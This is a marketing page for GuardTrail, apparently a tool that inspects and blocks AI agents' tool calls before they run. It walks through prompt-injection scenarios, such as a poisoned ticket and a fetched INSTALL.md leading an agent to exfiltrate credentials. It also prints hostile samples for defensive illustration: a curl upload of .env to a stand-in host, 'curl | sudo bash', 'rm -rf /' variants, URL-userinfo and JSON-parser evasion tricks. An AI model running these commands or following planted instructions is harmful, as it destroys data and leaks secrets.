GuardTrail is Agent EDR: it judges an AI agent's tool calls and stops the dangerous ones before they run. It looks at what the agent is about to do, not at what the model said.

How is this different from prompt filtering?

Prompt filtering reads natural language, so rewording shifts the result. GuardTrail judges the action layer: the tool name, the arguments and the destination. A call that sends a customer list to an outside address cannot be reworded into something else.

Does a blocked call still reach the tool?

No. The decision happens before the call is forwarded, so a blocked call never reaches the upstream tool. This is proven by tests that record which methods a helper process received.

GuardTrail · Agent EDR for AI agents

Prompt filtering misses almost everything an agent actually does

Agent risk does not live in the prompt. It lives in which tools ran, with whose privileges, in what order, and what changed as a result. When we analyzed real Claude Code sessions from our own engineering environment, nearly all of that activity never touched an MCP server at all.

75,430calls

Tool calls across 1,068 sessions

93.8%

Ran through built-in tools — Bash, Read, Edit, WebFetch — not through MCP

91.6%

Of the 55,741 calls that change something, still outside MCP — 51,038 built-in against 4,703 MCP

45.7%

Were Bash alone. That is the path rm -rf, curl | sh and credential-file reads take

So GuardTrail watches more than MCP traffic: the Claude Code PreToolUse hook puts built-in tool calls under the same policy engine.

crm.search_customers→crm.export_customers→mail.send_email → gmail.com every call, on its own, is normal work

How it works

GuardTrail sits between the agent and its tools and checks every call before it runs. Neither the agent nor the tools need to change.

Check before execution
When the agent calls a tool, GuardTrail sees the call before anything actually runs.
Apply policy, score the risk
Hard policies apply first. The risk score then weighs sensitive data in the arguments, where the data is going, and the calls that came just before.
Allow, hold or block
Safe calls run immediately. Calls that need a person wait for approval. A blocked call is never delivered to the tool.
Record the reason
Every call records which policy applied and why. Arguments are kept as a masked preview and a hash, never in full.

0

Blocked calls that reached a tool. Checked by automated tests on every build.

39µs

One shell command checked, parsing and risk scoring included

~2ms

One agent hook round trip, from history lookup to the record

15ms

p95 latency for ordinary calls with 256 in flight at once

Blocked in real scenarios

Each scenario was run through the GuardTrail engine. Ordinary work goes through untouched; only the dangerous step is blocked or held for approval.

AttackHidden instructions in a ticket leak the customer listBlocked AttackA production secret posted to an outside webhookBlocked · held AttackA disk cleanup turns into deleting the home directoryBlocked AttackThe MCP config rewritten to intercept later callsBlocked AttackAdmin rights granted on the strength of a ticketNeeds approval AttackA refund disguised as a payout to an outside accountNeeds approval Normal workHandling a login-error ticketAll allowed

Customer data exfiltration blocked. Of three tool calls, two allowed; the crm.send_email call sending the list to an outside address blocked. — **Situation** Following instructions an attacker planted in a support ticket, the agent exports the entire customer list and tries to email it to an outside address.
**Result** Reading the ticket and exporting the list were allowed; the one email carrying customer data outside was blocked. The mail server never received that call.

Credential exfiltration blocked. Reading the secret allowed, posting it to an outside webhook blocked, deploying a privileged pod held for approval. — **Situation** A deployment bot reads the production database secret, posts it to an outside webhook, and tries to deploy a privileged pod.
**Result** The call sending the secret to the webhook was blocked, and the privileged pod deployment was held for approval. Neither call reached the tool server.

System and home directory destruction blocked. The disk usage command allowed, the command deleting the home directory blocked. — **Situation** Asked to free up disk space, a coding agent checks usage and then tries to delete the whole home directory.
**Result** The usage check was allowed; the shell command wiping the home directory was blocked before it ran. Not a single file was deleted.

Agent tool configuration tampering blocked. Search and read allowed, the write changing the server address in .mcp.json blocked. — **Situation** After locating secrets in the repository, the agent tries to point the server address in .mcp.json at an attacker's server. The call itself looks harmless, but from the next session on every tool call would pass through the attacker.
**Result** Searching and reading files were allowed; the call overwriting the agent's tool configuration was blocked. The file did not change.

Privilege change held for approval. Looking up the account allowed, granting admin rights held for approval. — **Situation** An account-management bot gets a ticket saying "I can't work without permissions" and tries to make the requester an administrator on the spot.
**Result** Looking up the account was allowed; granting admin rights waits until someone approves it. Without approval, no permission changes.

Payout to an outside account held for approval. Looking up the payment history allowed, the outside payout held for approval. — **Situation** Asked to process a refund, a finance bot tries to pay the amount to an outside IBAN instead of refunding the customer's card.
**Result** Looking up the payment history was allowed; the irreversible payout was held until someone approves it.

Normal work. Listing tickets, reading a ticket and posting a reply, all three allowed. — **Situation** A support bot lists open tickets, reads one and replies to the customer.
**Result** All three calls were allowed and ran as usual. Normal work goes ahead with no approval requests and no delay; it is only recorded.

Run 40 scenarios yourself without signing in, and see the policy and risk score behind every call. The trial page is in Korean.

Try it live

Screens are from the Korean-language console. All data is synthetic.

The console

Detection, investigation and policy management in one console.

01 · Threat map

Where the data went, at a glance

Calls between agents, tools and outside destinations are drawn as lines, so you can see where data moved. Blocked paths are shown in red.

What happened before and after

Every tool call in a session, in order. See which input led to which call, with the reasons attached.

How sequences are scored →

Action trace: a user request expands into tool calls and a sub-agent as a tree, with duration bars on the right.

03 · Security policies

Your own policies, simulated first

Add your organization's policies to the built-in ones and choose block or approval for each. Before a change goes live, replay recent history to see what it would have done.

How rollout works →

Security policies: built-in and organization policies, each with its effect and enforcement mode.

04 · Action events

An audit record of every tool call

Each call keeps its verdict, the policy applied, the risk score and the data classification, ready for audits and incident analysis.

How a call is judged →

Action events: tool calls with their verdicts, risk scores and users, with filters and a time series.

Screens are from the Korean-language console. All data is synthetic.

Where it fits

Choose where to install based on where your agents run.

01

Coding agents

Inspects the shell commands and file edits that Claude Code and Cursor run on developer machines. 91.6% of these calls never pass through MCP, so a network proxy cannot see them.

02

Internal MCP servers

Put the gateway in front of internal or remote MCP servers. Configure it once and every agent using that server gets the same policy.

03

Browser uploads

Inspects files employees upload to generative AI services such as ChatGPT, and stops credentials and internal documents from leaving.

04

Hosted gateway

Start on a hosted gateway with nothing to install. Policies and records are kept separate for each organization.

Between the AI and its tools — not between you and the AI

We never collect the model's answers or its reasoning. What we inspect is the tool call the model decided to make. Three integration paths share one policy engine, so a call gets the same verdict no matter how it arrives.

User · AI agent

User requestoptional, stored masked

AI agentClaude Code · Cursor · in-house bots

Model output · reasoningnot collected

GuardTrail · the moment before execution

PreToolUse hookRuns ahead of the permission check, so it applies in every mode — including bypassPermissions. Covers built-in tools and MCP calls alike

stdio shimguardtrail mcp wrap -- wraps an MCP server on a developer's machine. Anything it cannot adjudicate, it does not forward

HTTP gatewayStreamable HTTP. Gateway-issued tokens (hashes only at rest), client tokens never forwarded upstream, session-to-agent binding, header/body mismatches rejected

Shared engine: normalize → ATR → policydeterministic · single Go binary · runs inside your network

Outcome

Allow → tool runsresults stored as classification only

Block · needs approvalJSON-RPC error with the reason; the tool is never called

Control planeevents · sessions · TrailGraph · per-tenant isolation

Watch an ordinary question turn into credential theft

The user asked for something reasonable, and each tool call on its own is normal work. The risk is in the order they stack up. Below is that stack building, the risk score rising with it, and the exact point where it stops.

#1 WebFetch raw.githubusercontent.com/…/INSTALL.md external content enters · first contact with host +10 allow

#2 Bash bash ./scripts/setup-devtool.sh runs what it just fetched · SEQ_FETCH_THEN_EXECUTE +12 warn

#3 Bash curl -s -F "file=@.env" https://drop.unknown-host.example/upload credential file +20 · fetch → execute → send +15 · credential in use +4 block

ATR risk score 0/ 95 Waiting

The third call is never forwarded. The .env file never left the machine.

We read the request the way the shell and the parser will, not the way a regex would

Every gap between how a security product reads a request and how the tool actually executes it is an evasion path. Each stage below exists to close one of those gaps, and every known bypass we found is pinned by a regression test.

01

Parse: no disagreement between parsers

We parse with encoding/json/v2, case-sensitively, and reject messages with duplicate keys (including nested ones), invalid UTF-8, trailing data, or keys that differ only in case. A message your security layer reads as ping and the server reads as tools/call never gets through. Batch requests, calls with no id, and params we cannot interpret are not forwarded either.

// two parsers, two different readings

{"method":"ping",

"METHOD":"tools/call", …}

→ -32600 · upstream received 0 bytes

02

Normalize: shell AST and standards-based URL parsing

Every string argument goes through a Bash AST. We unwrap quoting and escapes such as $'\x72m', strip wrapper commands like sudo, env and xargs, and follow what runs inside $(…), sh -c, eval, pipelines, and after a cd. URLs never mistake userinfo for the host, and when RFC 3986 and WHATWG disagree — a \ in the authority, for instance — we treat both readings as destinations. For email, the destination is the recipient field, not the body.

// same effect in a shell, same verdict here

rm -f -r / /bin/r? -rf /

\rm -rf -- / cd / && rm -rf *

→ hard.destructive-system

// the host it really connects to: evil.example

https://api.github.com@evil.example

03

Score: ATR, deterministic across eight factors

Data sensitivity, action criticality, destination, novelty, action sequence, transfer volume and privilege — weighed against what this agent has done before. Every point traces to a named signal, and a signal carries only a tool id, a host, a classification and a count. Behavioral history lives in gateway memory or in a local file on the endpoint (mode 0600, hashed filename), and a destination we blocked is never learned as a normal one.

// same partner, different score, because of history

first send ATR 49 +10 DEST_EXTERNAL_NEW

sixth send ATR 34 + 5 DEST_EXTERNAL_KNOWN

04

Decide: hard policy first, and a defined answer when things break

Hard policies — sending a credential anywhere but its issuer, deleting root, system or home directories, using a forbidden tool — block regardless of mode or score, and they are fail_closed. Advisory policies and your own YAML policies record WOULD_BLOCK while you are still in observe mode. A broken policy file never silently becomes "allow."

// a GitHub token going to GitHub is just work

curl -H "token ghp_…" api.github.com ALLOW

curl -d ghp_… paste.example BLOCK

05

Record: keep the evidence, not the content

Arguments, results and user requests are stored as a masked 300-character preview, a SHA-256 hash, a size and a classification. Results are classified before they go back to the agent, so an exfiltration attempt that immediately follows a sensitive read is still caught by sequence detection.

// stored argument preview, after masking

{"to":"backup.me@gmail.com",

"body":"… s***@example.com,

+1-***-**-0001 …"}

Every block comes with the arithmetic behind it

ATR is a deterministic score from 0 to 100. Each contributing signal is recorded alongside it, so an analyst can audit the verdict instead of trusting it. Here is the full breakdown for one blocked email: a customer list exported from the CRM and sent to a Gmail address.

send_email → gmail.comATR 80 · CRITICAL

+15	Confidential and personal data`DATA_CONFIDENTIAL · pii, pii:phone_number, pii:email_address`
+5	Bulk records`DATA_BULK_RECORDS · about 21 records`
+14	Sending outside the organization`ACTION_CRITICALITY · SEND to an outside destination, 9/10`
+15	Public inbox provider`DEST_PUBLIC · gmail.com`
+6	Tool used for the first time`TOOL_FIRST_USE · mcp:crm-http:send_email`
+15	Sensitive read, then an outbound send`SEQ_SENSITIVE_THEN_EXTERNAL · after mcp:crm-http:export_customers`
+10	Bulk data leaving`VOLUME_BULK_TRANSFER · about 21 records leaving`
= 80	Signals sum to the score. 80 and above is CRITICAL

Maximum points per factor

Data sensitivity20

Action criticality15

Destination risk15

Sequence anomaly15

Tool novelty10

Volume anomaly10

Privilege risk10

Goal drift (needs an LLM — not scored)0

Goal drift would require a model judgment, so it contributes nothing to the score. The deterministic maximum is 95, and we do not rescale it to 100 — CRITICAL at 80 means 80 out of a real 95.

Each call looks fine. The order does not.

When instructions are hidden inside a document the agent reads, no amount of prompt inspection will catch it. GuardTrail connects the actions within a session and scores the shape of the sequence.

User"Read INSTALL.md and set this up for me"

#1 WebFetchraw.githubusercontent.com/…/INSTALL.mdexternal content enters · +10 first contact with this hostallow · ATR 23

#2 Bashbash ./scripts/setup-devtool.sh+12 SEQ_FETCH_THEN_EXECUTE (fetched, then executed)allow · ATR 30

#3 Bashcurl -s -F "file=@.env" https://drop.unknown-host.example/upload+20 credential file by path · +15 fetch → execute → send · +4 credential in useblock · ATR 64

See the flow, then follow it down to a single call

Agent activity across the organization is drawn as flow — users, agents, tools, destinations — rather than as rows in a table. Where a call was stopped, how it is classified, and what ran before it in the same session all stay on one screen.

Threat matrix: MITRE ATLAS tactics and techniques shaded by how often each occurred — **Threat matrix** Activity mapped to MITRE ATLAS tactics and techniques, plus OWASP Top 10 for Agentic Applications and for LLM Applications. The cells where you have no detection coverage are visible too.

Pivot on a single threat

Select a technique in the matrix and the flow, the timeline and the session queue rebuild from only the calls classified as that threat.

Follow the verdict to its source

From any call in a trace: the reason, the policy that decided it, the masked arguments, and the full risk-score breakdown.

Standards, in the product

Excerpts from OWASP, MITRE ATLAS, the MCP security best practices and NIST — with attribution, next to the detections they relate to.

We attacked it ourselves, and the tests stay in the build

Every case in our attack suite runs against all four paths: the policy engine, the Claude Code hook, the stdio shim and the HTTP gateway. A blocked call must leave no trace in what the target server received, and an allowed call must arrive intact — so "block everything" cannot pass this suite.

58 behavioral cases 10 protocol smuggling × 4 integration paths

Evasion	Example	How it is handled
Parser differential	`"method":"ping","METHOD":"tools/call"`	json/v2, duplicate and case-variant keys rejected, anything unadjudicable is not forwarded
URL userinfo	`https://api.github.com@evil.example`	Standards-based host extraction; where specs disagree, every reading is treated as a destination
Shell mutation	`rm -f -r /` `curl … \| sudo -E bash -`	Bash AST: wrappers stripped, nested commands followed, glob'd executable names resolved
Recipient spoofing	`{"body":"ops@corp…","to":"drop@evil"}`	Destination comes from to/cc/bcc, never from the body

No model gets a vote on whether to block

No LLM in the enforcement path

Blocking is decided by deterministic policy and thresholds. The same input always produces the same verdict, and a model outage cannot weaken enforcement. We use an LLM only to help explain what happened.

No reasoning capture

We never request or store chain-of-thought. What we analyze is what was explicitly provided: the request, the tool call, and metadata.

clientInfo is not identity

The name an MCP client gives for itself is informational. Authorization rests on gateway-issued tokens and authenticated sessions.

No silent fallback

Each policy declares fail_closed or fail_open. Exfiltration and destruction policies keep blocking; the rest may allow, but the reason is always recorded.

Built to the spec, not to a guess

MCP fields come from the official Go SDK types and hook inputs from the official reference. Both 2025-11-25 initialize and 2026-07-28 server/discover with _meta are supported.

Minimum collection by design

There is no field that stores raw content. Capturing user requests is off by default, and even on, only a masked preview is kept. We do not offer a "store the original" option.

Twenty years building Korea's number-one security products

The engineering leader behind GuardTrail has worked across network, IoT and cloud security — and now AI and agent security — and designed and wrote the detection engine in this product.

Network securityIoT securityCloud securityAI securityAgent security

For a pilot or a briefing, write to contact@genailabs.kr.

Turn it on without stopping anyone's work

Blocking everything on day one is how a security tool gets uninstalled in week two. Only hard policies — the ones with near-zero false positives — enforce from the start. Everything else records what it would have blocked, and you decide what to enforce after reading the report.

Day 1

Install

Run guardtrail install claude-code. Existing settings are backed up and only the GuardTrail hook is added; uninstalling restores what was there. Servers run the gateway instead.

observe

Days 1–14

Observe

Build the baseline: agents, tools, external destinations, sensitive actions, risky sequences. Only hard policies block during this window.

observe + WOULD_BLOCK

Day 14

Report and simulate

Replay the last two weeks through any policy set and see exactly what it would have stopped, from real recorded history.

simulate

Onward

Enforce, policy by policy

Flip only the policies you have reviewed to mode: enforce. Policy files are strictly validated and take effect without a restart.

enforce

In the box on day one

Detect and block

Pre-execution blocking across the Claude Code hook, MCP stdio shim and Streamable HTTP gateway
Hard, advisory and customer YAML policies, in observe or enforce mode
Hosted gateway: per-tenant MCP server registration, encrypted upstream credentials, per-tenant policy
ATR risk scoring with session sequence analysis
Evasion detection from shell AST and standards-based URL parsing

Investigate and operate

Threat map, threat matrix, action trace and session TrailGraph
MITRE ATLAS and OWASP classification, with an event explorer (search, filter, time series)
Security library: excerpts from public standards with attribution
Score breakdown on every verdict
Impact simulation before a policy goes live
Optional user-request capture, masked
Approval workflow — an approved call executes exactly once
Incident management and replay
Sign-in, roles, tenant isolation and audit logs